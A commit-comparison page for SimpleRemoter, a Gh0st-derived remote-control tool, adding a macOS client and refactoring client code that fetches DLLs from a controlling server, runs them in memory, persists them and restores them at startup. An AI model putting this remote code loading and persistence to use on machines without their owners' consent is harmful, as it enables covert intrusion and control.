Compare commits
11 Commits
c38ccbe7ca
...
v1.3.2
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
36ba9ccc1d | ||
|
|
ed4b9eeb25 | ||
|
|
cfa9b581fc | ||
|
|
979f309497 | ||
|
|
9b1cb1ced9 | ||
|
|
f2a184e760 | ||
|
|
7a90d217f3 | ||
|
|
1cc66aff56 | ||
|
|
b98607d24d | ||
|
|
fa9ee977b5 | ||
|
|
acccc039b6 |
55
ReadMe.md
55
ReadMe.md
@@ -12,7 +12,7 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
@@ -56,7 +56,7 @@
|
||||
|
||||
## 项目简介
|
||||
|
||||
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux** 双平台的企业级远程管理工具。
|
||||
**SimpleRemoter** 是一个功能完整的远程控制解决方案,基于经典的 Gh0st 框架重构,采用现代 C++17 开发。项目始于 2019 年,经过持续迭代已发展为支持 **Windows + Linux + macOS** 三平台的企业级远程管理工具。
|
||||
|
||||
### 核心能力
|
||||
|
||||
@@ -354,6 +354,7 @@ struct FileChunkPacketV2 {
|
||||
| `TestRun.exe` + `ServerDll.dll` | 分离加载,支持内存加载 DLL |
|
||||
| Windows 服务 | 后台运行,支持锁屏控制 |
|
||||
| Linux 客户端 | 跨平台支持(v1.2.5+) |
|
||||
| macOS 客户端 | 跨平台支持(v1.3.2+) |
|
||||
|
||||
---
|
||||
|
||||
@@ -489,10 +490,60 @@ cmake .
|
||||
make
|
||||
```
|
||||
|
||||
### macOS 客户端(v1.3.2+)
|
||||
|
||||
**系统要求**:
|
||||
- macOS 10.15 (Catalina) 及以上
|
||||
- 需要授予系统权限:屏幕录制、辅助功能、完全磁盘访问
|
||||
|
||||
**功能支持**:
|
||||
|
||||
| 功能 | 状态 | 实现 |
|
||||
|------|------|------|
|
||||
| 远程桌面 | ✅ | CoreGraphics 屏幕捕获,H.264 硬件编码 |
|
||||
| 鼠标控制 | ✅ | CGEvent 模拟,支持双击、拖拽 |
|
||||
| 键盘控制 | ✅ | CGEvent 模拟,完整键码映射 |
|
||||
| 光标同步 | ✅ | 实时同步远程光标样式 |
|
||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||
| 文件管理 | ⏳ | 开发中 |
|
||||
| 远程终端 | ⏳ | 开发中 |
|
||||
|
||||
**编译方式**:
|
||||
|
||||
```bash
|
||||
cd macos
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 更新日志
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS 客户端 & Web 远程桌面增强**
|
||||
|
||||
**新功能:**
|
||||
- macOS 客户端支持:全新实现的 macOS 原生客户端,支持屏幕捕获、H.264 编码、键鼠控制、系统权限管理
|
||||
- Web 远程桌面光标同步:浏览器端实时显示远程主机光标样式
|
||||
- 触发器功能:支持主机上线事件触发自定义操作
|
||||
- 用户管理功能:新增角色权限管理,支持多用户分级控制
|
||||
- DLL 执行增强:参数持久化存储、支持自动运行配置
|
||||
- 远程桌面输入法切换:支持远程切换被控端输入语言
|
||||
|
||||
**改进:**
|
||||
- Web 远程桌面手势优化:改进双指手势识别、双击拖拽、Shift 组合键支持
|
||||
|
||||
**Bug 修复:**
|
||||
- 修复 Web 远程桌面在 macOS 客户端上双击无法打开文件的问题
|
||||
- 修复 macOS 完全磁盘访问权限检测不准确的问题
|
||||
- 修复 RestoreMemDLL 因 DLL 信息大小错误导致还原失败
|
||||
- 修复多个 DLL 同时执行可能因全局变量冲突而失败
|
||||
- 修复鼠标双击和远程桌面切换问题
|
||||
- 修复 Linux 客户端编译缺少 libzstd.a 的问题
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web 远程桌面 & 多主控共享增强**
|
||||
|
||||
55
ReadMe_EN.md
55
ReadMe_EN.md
@@ -12,7 +12,7 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
@@ -55,7 +55,7 @@
|
||||
|
||||
## Overview
|
||||
|
||||
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting both **Windows and Linux** platforms.
|
||||
**SimpleRemoter** is a full-featured remote control solution, rebuilt from the classic Gh0st framework using modern C++17. Started in 2019, it has evolved into an enterprise-grade remote management tool supporting **Windows, Linux, and macOS** platforms.
|
||||
|
||||
### Core Capabilities
|
||||
|
||||
@@ -354,6 +354,7 @@ The master program **YAMA.exe** provides a graphical management interface:
|
||||
| `TestRun.exe` + `ServerDll.dll` | Separate loading, supports in-memory DLL loading |
|
||||
| Windows Service | Background operation, supports lock screen control |
|
||||
| Linux Client | Cross-platform support (v1.2.5+) |
|
||||
| macOS Client | Cross-platform support (v1.3.2+) |
|
||||
|
||||
---
|
||||
|
||||
@@ -474,10 +475,60 @@ cmake .
|
||||
make
|
||||
```
|
||||
|
||||
### macOS Client (v1.3.2+)
|
||||
|
||||
**System Requirements**:
|
||||
- macOS 10.15 (Catalina) or later
|
||||
- Required permissions: Screen Recording, Accessibility, Full Disk Access
|
||||
|
||||
**Feature Support**:
|
||||
|
||||
| Feature | Status | Implementation |
|
||||
|---------|--------|----------------|
|
||||
| Remote Desktop | ✅ | CoreGraphics screen capture, H.264 hardware encoding |
|
||||
| Mouse Control | ✅ | CGEvent simulation, supports double-click, drag |
|
||||
| Keyboard Control | ✅ | CGEvent simulation, full keycode mapping |
|
||||
| Cursor Sync | ✅ | Real-time remote cursor style synchronization |
|
||||
| Heartbeat/RTT | ✅ | RFC 6298 RTT estimation |
|
||||
| File Management | ⏳ | In development |
|
||||
| Remote Terminal | ⏳ | In development |
|
||||
|
||||
**Build Instructions**:
|
||||
|
||||
```bash
|
||||
cd macos
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Changelog
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS Client & Web Remote Desktop Enhancement**
|
||||
|
||||
**New Features:**
|
||||
- macOS client support: Native macOS client with screen capture, H.264 encoding, keyboard/mouse control, system permission management
|
||||
- Web remote desktop cursor sync: Real-time display of remote host cursor style in browser
|
||||
- Trigger functionality: Support custom actions triggered by host online events
|
||||
- User management: Role-based permission management, multi-user hierarchical control
|
||||
- DLL execution enhancements: Parameter persistence, auto-run configuration support
|
||||
- Remote desktop input language switching: Support switching remote host input language
|
||||
|
||||
**Improvements:**
|
||||
- Web remote desktop gesture optimization: Improved two-finger gesture recognition, double-tap drag, Shift key combination support
|
||||
|
||||
**Bug Fixes:**
|
||||
- Fixed Web remote desktop double-click not working for macOS clients
|
||||
- Fixed macOS Full Disk Access permission detection inaccuracy
|
||||
- Fixed RestoreMemDLL failure due to incorrect DLL info size
|
||||
- Fixed multiple DLLs execution failure due to global variable conflict
|
||||
- Fixed mouse double-click and remote desktop switching issues
|
||||
- Fixed Linux client build missing libzstd.a
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web Remote Desktop & Multi-Master Sharing Enhancement**
|
||||
|
||||
55
ReadMe_TW.md
55
ReadMe_TW.md
@@ -12,7 +12,7 @@
|
||||
<a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
|
||||
<img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
|
||||
</a>
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
|
||||
<img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
|
||||
<img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
|
||||
<img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
|
||||
@@ -55,7 +55,7 @@
|
||||
|
||||
## 專案簡介
|
||||
|
||||
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux** 雙平台的企業級遠端管理工具。
|
||||
**SimpleRemoter** 是一個功能完整的遠端控制解決方案,基於經典的 Gh0st 框架重構,採用現代 C++17 開發。專案始於 2019 年,經過持續迭代已發展為支援 **Windows + Linux + macOS** 三平台的企業級遠端管理工具。
|
||||
|
||||
### 核心能力
|
||||
|
||||
@@ -353,6 +353,7 @@ struct FileChunkPacketV2 {
|
||||
| `TestRun.exe` + `ServerDll.dll` | 分離載入,支援記憶體載入 DLL |
|
||||
| Windows 服務 | 背景執行,支援鎖定畫面控制 |
|
||||
| Linux 用戶端 | 跨平台支援(v1.2.5+) |
|
||||
| macOS 用戶端 | 跨平台支援(v1.3.2+) |
|
||||
|
||||
---
|
||||
|
||||
@@ -473,10 +474,60 @@ cmake .
|
||||
make
|
||||
```
|
||||
|
||||
### macOS 用戶端(v1.3.2+)
|
||||
|
||||
**系統要求**:
|
||||
- macOS 10.15 (Catalina) 及以上
|
||||
- 需要授予系統權限:螢幕錄製、輔助使用、完全磁碟存取
|
||||
|
||||
**功能支援**:
|
||||
|
||||
| 功能 | 狀態 | 實作 |
|
||||
|------|------|------|
|
||||
| 遠端桌面 | ✅ | CoreGraphics 螢幕擷取,H.264 硬體編碼 |
|
||||
| 滑鼠控制 | ✅ | CGEvent 模擬,支援雙擊、拖曳 |
|
||||
| 鍵盤控制 | ✅ | CGEvent 模擬,完整鍵碼對應 |
|
||||
| 游標同步 | ✅ | 即時同步遠端游標樣式 |
|
||||
| 心跳/RTT | ✅ | RFC 6298 RTT 估算 |
|
||||
| 檔案管理 | ⏳ | 開發中 |
|
||||
| 遠端終端 | ⏳ | 開發中 |
|
||||
|
||||
**編譯方式**:
|
||||
|
||||
```bash
|
||||
cd macos
|
||||
mkdir build && cd build
|
||||
cmake ..
|
||||
make
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 更新日誌
|
||||
|
||||
### v1.3.2 (2026.5.1)
|
||||
|
||||
**macOS 用戶端 & Web 遠端桌面增強**
|
||||
|
||||
**新功能:**
|
||||
- macOS 用戶端支援:全新實現的 macOS 原生用戶端,支援螢幕擷取、H.264 編碼、鍵鼠控制、系統權限管理
|
||||
- Web 遠端桌面游標同步:瀏覽器端即時顯示遠端主機游標樣式
|
||||
- 觸發器功能:支援主機上線事件觸發自訂操作
|
||||
- 使用者管理功能:新增角色權限管理,支援多使用者分級控制
|
||||
- DLL 執行增強:參數持久化儲存、支援自動執行設定
|
||||
- 遠端桌面輸入法切換:支援遠端切換被控端輸入語言
|
||||
|
||||
**改進:**
|
||||
- Web 遠端桌面手勢最佳化:改進雙指手勢識別、雙擊拖曳、Shift 組合鍵支援
|
||||
|
||||
**Bug 修復:**
|
||||
- 修復 Web 遠端桌面在 macOS 用戶端上雙擊無法開啟檔案的問題
|
||||
- 修復 macOS 完全磁碟存取權限偵測不準確的問題
|
||||
- 修復 RestoreMemDLL 因 DLL 資訊大小錯誤導致還原失敗
|
||||
- 修復多個 DLL 同時執行可能因全域變數衝突而失敗
|
||||
- 修復滑鼠雙擊和遠端桌面切換問題
|
||||
- 修復 Linux 用戶端編譯缺少 libzstd.a 的問題
|
||||
|
||||
### v1.3.1 (2026.4.15)
|
||||
|
||||
**Web 遠端桌面 & 多主控共享增強**
|
||||
|
||||
@@ -61,6 +61,10 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
#ifdef __APPLE__
|
||||
// macOS: 只有 TCP_KEEPALIVE (等同于 TCP_KEEPIDLE)
|
||||
setsockopt(socket, IPPROTO_TCP, TCP_KEEPALIVE, &nKeepAliveSec, sizeof(nKeepAliveSec));
|
||||
#else
|
||||
// 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包)
|
||||
if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) {
|
||||
Mprintf("Failed to set TCP_KEEPIDLE\n");
|
||||
@@ -80,6 +84,7 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180)
|
||||
Mprintf("Failed to set TCP_KEEPCNT\n");
|
||||
return FALSE;
|
||||
}
|
||||
#endif
|
||||
|
||||
Mprintf("TCP keep-alive settings applied successfully\n");
|
||||
return TRUE;
|
||||
|
||||
@@ -66,6 +66,7 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
|
||||
CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
|
||||
: m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s)
|
||||
{
|
||||
m_cfg = new iniFile(CLIENT_PATH);
|
||||
m_ulThreadCount = 0;
|
||||
#ifdef _DEBUG
|
||||
m_settings = { 5 };
|
||||
@@ -77,7 +78,7 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
||||
// C2C 初始化
|
||||
if (conn) m_MyClientID = conn->clientID;
|
||||
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
|
||||
int n = RestoreMemDLL();
|
||||
static int n = RestoreMemDLL();
|
||||
if (n) {
|
||||
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
|
||||
}
|
||||
@@ -96,6 +97,7 @@ BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
Mprintf("~CKernelManager begin\n");
|
||||
SAFE_DELETE(m_cfg);
|
||||
HANDLE hList[MAX_THREADNUM] = {};
|
||||
for (int i=0; i<MAX_THREADNUM; ++i) {
|
||||
if (m_hThread[i].h!=0) {
|
||||
@@ -239,7 +241,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
DllExecParam<>* dll = (DllExecParam<>*)param;
|
||||
DllExecuteInfo info = *(dll->info);
|
||||
PluginParam pThread = dll->param;
|
||||
CManager* This = dll->manager;
|
||||
CKernelManager* This = (CKernelManager*)dll->manager;
|
||||
#if _DEBUG
|
||||
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
|
||||
DllRunner* runner = new DefaultDllRunner(info.Name);
|
||||
@@ -268,17 +270,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
|
||||
char* user = (char*)dll->param.User;
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r = 0;
|
||||
if (proc) {
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
}
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
SAFE_DELETE_ARRAY(user);
|
||||
break;
|
||||
@@ -287,17 +293,21 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
||||
RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL;
|
||||
char* user = (char*)dll->param.User;
|
||||
FrpcParam* f = (FrpcParam*)user;
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r = 0;
|
||||
if (proc) {
|
||||
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||
int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||
&CKernelManager::g_IsAppExit);
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
}
|
||||
else {
|
||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||
}
|
||||
if (r) {
|
||||
char buf[100];
|
||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||
Mprintf("%s\n", buf);
|
||||
ClientMsg msg("代理端口", buf);
|
||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||
}
|
||||
SAFE_DELETE_ARRAY(user);
|
||||
break;
|
||||
@@ -630,16 +640,15 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
|
||||
}
|
||||
|
||||
int CKernelManager::RestoreMemDLL() {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
binFile bin(CLIENT_PATH);
|
||||
|
||||
// 枚举所有以 .md5 结尾的值名称
|
||||
auto md5Keys = cfg.EnumValues("settings", ".md5");
|
||||
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
||||
int count = 0;
|
||||
|
||||
for (const auto& key : md5Keys) {
|
||||
// 获取 MD5 值
|
||||
std::string md5 = cfg.GetStr("settings", key);
|
||||
std::string md5 = m_cfg->GetStr("settings", key);
|
||||
if (md5.empty())
|
||||
continue;
|
||||
|
||||
@@ -657,11 +666,11 @@ int CKernelManager::RestoreMemDLL() {
|
||||
continue;
|
||||
|
||||
const DllExecuteInfo* info = reinterpret_cast<const DllExecuteInfo*>(binData.data() + 1);
|
||||
if (binData.size() < sz + info->Size)
|
||||
if (binData.size() < 1 + info->InfoSize + info->Size)
|
||||
continue;
|
||||
|
||||
// 恢复到 m_MemDLL
|
||||
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + sz);
|
||||
const BYTE* dllData = reinterpret_cast<const BYTE*>(binData.data() + 1 + info->InfoSize);
|
||||
m_MemDLL[md5] = std::vector<BYTE>(dllData, dllData + info->Size);
|
||||
Mprintf("Restore DLL from registry: %s (%s)\n", name.c_str(), md5.c_str());
|
||||
count++;
|
||||
@@ -673,8 +682,8 @@ int CKernelManager::RestoreMemDLL() {
|
||||
ScheduleParams& sch = infoCopy.Schedule;
|
||||
|
||||
// 从注册表读取运行时状态(LastRunTime 和 CurrentCount)
|
||||
std::string lastRunStr = cfg.GetStr("settings", name + ".lastrun");
|
||||
std::string countStr = cfg.GetStr("settings", name + ".count");
|
||||
std::string lastRunStr = m_cfg->GetStr("settings", name + ".lastrun");
|
||||
std::string countStr = m_cfg->GetStr("settings", name + ".count");
|
||||
if (!lastRunStr.empty()) {
|
||||
sch.LastRunTime = std::stoull(lastRunStr);
|
||||
}
|
||||
@@ -695,7 +704,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
// 如果有时间间隔限制,更新 LastRunTime
|
||||
if (sch.Config.Startup.Interval > 0) {
|
||||
YamaTaskEngine::MarkExecuted(&sch);
|
||||
cfg.SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
|
||||
m_cfg->SetStr("settings", name + ".lastrun", std::to_string(sch.LastRunTime));
|
||||
}
|
||||
// 如果有次数限制,更新 CurrentCount
|
||||
if (sch.MaxCount > 0) {
|
||||
@@ -703,7 +712,7 @@ int CKernelManager::RestoreMemDLL() {
|
||||
// 如果没更新过 LastRunTime,需要单独增加计数
|
||||
sch.CurrentCount++;
|
||||
}
|
||||
cfg.SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
|
||||
m_cfg->SetStr("settings", name + ".count", std::to_string(sch.CurrentCount));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -721,15 +730,15 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
const T* info = (T*)(szBuffer + 1);
|
||||
const char* md5 = info->Md5;
|
||||
auto find = m_MemDLL.find(md5);
|
||||
if (find == m_MemDLL.end() && ulLength == sz) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
|
||||
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
config *cfg = This->m_cfg;
|
||||
auto s = cfg->GetStr("settings", info->Name + std::string(".md5"));
|
||||
if ((find == m_MemDLL.end() || s.empty()) && ulLength == sz) {
|
||||
if (s.empty() || s != info->Md5 || !This->m_conn->IsVerified()) {
|
||||
// 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码
|
||||
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||
return TRUE;
|
||||
}
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
|
||||
Mprintf("Execute local DLL from registry: %s\n", md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
|
||||
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
|
||||
@@ -741,8 +750,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
// 收到完整 DLL 数据,保存到注册表
|
||||
if (md5[0]) {
|
||||
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
cfg->SetStr("settings", info->Name + std::string(".md5"), md5);
|
||||
binFile bin(CLIENT_PATH);
|
||||
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
|
||||
@@ -758,7 +766,7 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
||||
// 替换 .bin 中的参数部分(跳过命令字节)
|
||||
memcpy(&binData[1], szBuffer + 1, sizeof(T));
|
||||
bin.SetStr("settings", info->Name + std::string(".bin"), binData);
|
||||
Mprintf("Update DLL params in registry: %s\n", info->Name);
|
||||
Mprintf("Update DLL params [%d bytes] in registry: %s\n", sizeof(T), info->Name);
|
||||
}
|
||||
}
|
||||
if (data && SCH_MODE_NONE == info->Schedule.Mode) {
|
||||
@@ -783,8 +791,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
switch (szBuffer[0]) {
|
||||
case CMD_SET_GROUP: {
|
||||
std::string group = std::string((char*)szBuffer + 1);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "group_name", group);
|
||||
m_cfg->SetStr("settings", "group_name", group);
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -955,22 +962,21 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SHARE:
|
||||
case COMMAND_ASSIGN_MASTER:
|
||||
if (ulLength > 2) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
switch (szBuffer[1]) {
|
||||
case SHARE_TYPE_YAMA_FOREVER: {
|
||||
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto now = time(nullptr);
|
||||
auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str());
|
||||
auto valid_to = atoi(m_cfg->GetStr("settings", "valid_to").c_str());
|
||||
if (now <= valid_to) break; // Avoid assign again
|
||||
cfg.SetStr("settings", "master", v[0]);
|
||||
cfg.SetStr("settings", "port", v[1]);
|
||||
m_cfg->SetStr("settings", "master", v[0]);
|
||||
m_cfg->SetStr("settings", "port", v[1]);
|
||||
float days = atof(v[2].c_str());
|
||||
if (days > 0) {
|
||||
auto valid_to = time(0) + days*86400;
|
||||
// overflow after 2038-01-19
|
||||
cfg.SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||
m_cfg->SetStr("settings", "valid_to", std::to_string(valid_to));
|
||||
}
|
||||
}
|
||||
case SHARE_TYPE_YAMA: {
|
||||
@@ -984,11 +990,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (v[0].empty() || v[1].empty())
|
||||
break;
|
||||
auto share = v[0] + ":" + v[1];
|
||||
auto list = cfg.GetStr("settings", "share_list");
|
||||
auto list = m_cfg->GetStr("settings", "share_list");
|
||||
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
|
||||
if (VectorContains(shareList, share)) break;
|
||||
shareList.push_back(share);
|
||||
cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
|
||||
Mprintf("Share client to new master: %s\n", share.c_str());
|
||||
}
|
||||
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
|
||||
@@ -1003,8 +1009,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
case COMMAND_SHARE_CANCEL: {
|
||||
if (m_ClientApp->IsMainInstance()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "share_list", "");
|
||||
m_cfg->SetStr("settings", "share_list", "");
|
||||
}
|
||||
ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ?
|
||||
"Cancel sharing and next run to take effort" : "No permission to cancel sharing");
|
||||
@@ -1027,8 +1032,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval);
|
||||
}
|
||||
if (m_ClientApp->IsMainInstance()) {
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
cfg.SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
m_cfg->SetStr("settings", "wallet", m_settings.WalletAddress);
|
||||
}
|
||||
CManager* pMgr = (CManager*)m_hKeyboard->user;
|
||||
if (pMgr) {
|
||||
|
||||
@@ -134,6 +134,7 @@ struct RttEstimator {
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
iniFile* m_cfg = nullptr;
|
||||
CONNECT_ADDRESS* m_conn;
|
||||
HINSTANCE m_hInstance;
|
||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
|
||||
|
||||
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
|
||||
//
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 1,0,3,1
|
||||
FILEVERSION 1,0,3,2
|
||||
PRODUCTVERSION 1,0,0,1
|
||||
FILEFLAGSMASK 0x3fL
|
||||
#ifdef _DEBUG
|
||||
@@ -106,7 +106,7 @@ BEGIN
|
||||
BEGIN
|
||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||
VALUE "FileDescription", "A GHOST"
|
||||
VALUE "FileVersion", "1.0.3.1"
|
||||
VALUE "FileVersion", "1.0.3.2"
|
||||
